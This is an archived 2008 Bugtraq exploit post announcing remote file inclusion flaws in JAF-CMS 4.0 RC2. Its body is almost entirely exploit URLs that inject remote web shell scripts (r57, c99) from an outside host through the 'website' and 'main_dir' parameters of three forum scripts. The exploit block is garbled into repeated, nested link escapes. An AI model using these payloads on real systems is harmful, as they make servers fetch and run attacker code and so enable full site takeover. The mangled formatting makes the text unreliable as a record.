

JAF-CMS 4.0 RC2 Multiple Remote File Inclusion Vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2008-03/msg00362.html>

- *From:* r57blg@xxxxxxxxxx
 - *Date:* 27 Mar 2008 14:34:14 -0000
-

JAF-CMS 4.0 RC2 Multiple Remote File Inclusion Vulnerabilities

[+] Author : XxX

[+] Site : www.wikipediatr.com

=====

Exploit : [http://localhost/path/module/forum/forum.php?website=http://www.r57shell.in/r57.txt?
\[http://localhost/path/module/forum/forum.php?main_dir=http://www.r57shell.in/c99.txt?
\\[http://localhost/path/module/forum/headlines.php?website=http://www.r57shell.in/erne.txt?
\\\[http://localhost/path/module/forum/headlines.php?main_dir=http://www.r57shell.in/r57.txt?
\\\\[http://localhost/path/module/forum/main.php?website=http://www.r57shell.in/c99.txt?
\\\\\[http://localhost/path/module/forum/main.php?main_dir=http://www.r57shell.in/erne.txt?\\\\\]\\\\\(http://localhost/path/module/forum/main.php?main_dir=http://www.r57shell.in/erne.txt?\\\\\)\\\\]\\\\(http://localhost/path/module/forum/main.php?website=http://www.r57shell.in/c99.txt?http://localhost/path/module/forum/main.php?main_dir=http://www.r57shell.in/erne.txt?\\\\)\\\]\\\(http://localhost/path/module/forum/headlines.php?main_dir=http://www.r57shell.in/r57.txt?http://localhost/path/module/forum/main.php?website=http://www.r57shell.in/c99.txt?http://localhost/path/module/forum/main.php?main_dir=http://www.r57shell.in/erne.txt?\\\)\\]\\(http://localhost/path/module/forum/headlines.php?website=http://www.r57shell.in/erne.txt?http://localhost/path/module/forum/headlines.php?main_dir=http://www.r57shell.in/r57.txt?http://localhost/path/module/forum/main.php?website=http://www.r57shell.in/c99.txt?http://localhost/path/module/forum/main.php?main_dir=http://www.r57shell.in/erne.txt?\\)\]\(http://localhost/path/module/forum/forum.php?main_dir=http://www.r57shell.in/c99.txt?http://localhost/path/module/forum/headlines.php?website=http://www.r57shell.in/erne.txt?http://localhost/path/module/forum/headlines.php?main_dir=http://www.r57shell.in/r57.txt?http://localhost/path/module/forum/main.php?website=http://www.r57shell.in/c99.txt?http://localhost/path/module/forum/main.php?main_dir=http://www.r57shell.in/erne.txt?\)](http://localhost/path/module/forum/forum.php?website=http://www.r57shell.in/r57.txt?http://localhost/path/module/forum/forum.php?main_dir=http://www.r57shell.in/c99.txt?http://localhost/path/module/forum/headlines.php?website=http://www.r57shell.in/erne.txt?http://localhost/path/module/forum/headlines.php?main_dir=http://www.r57shell.in/r57.txt?http://localhost/path/module/forum/main.php?website=http://www.r57shell.in/c99.txt?http://localhost/path/module/forum/main.php?main_dir=http://www.r57shell.in/erne.txt?)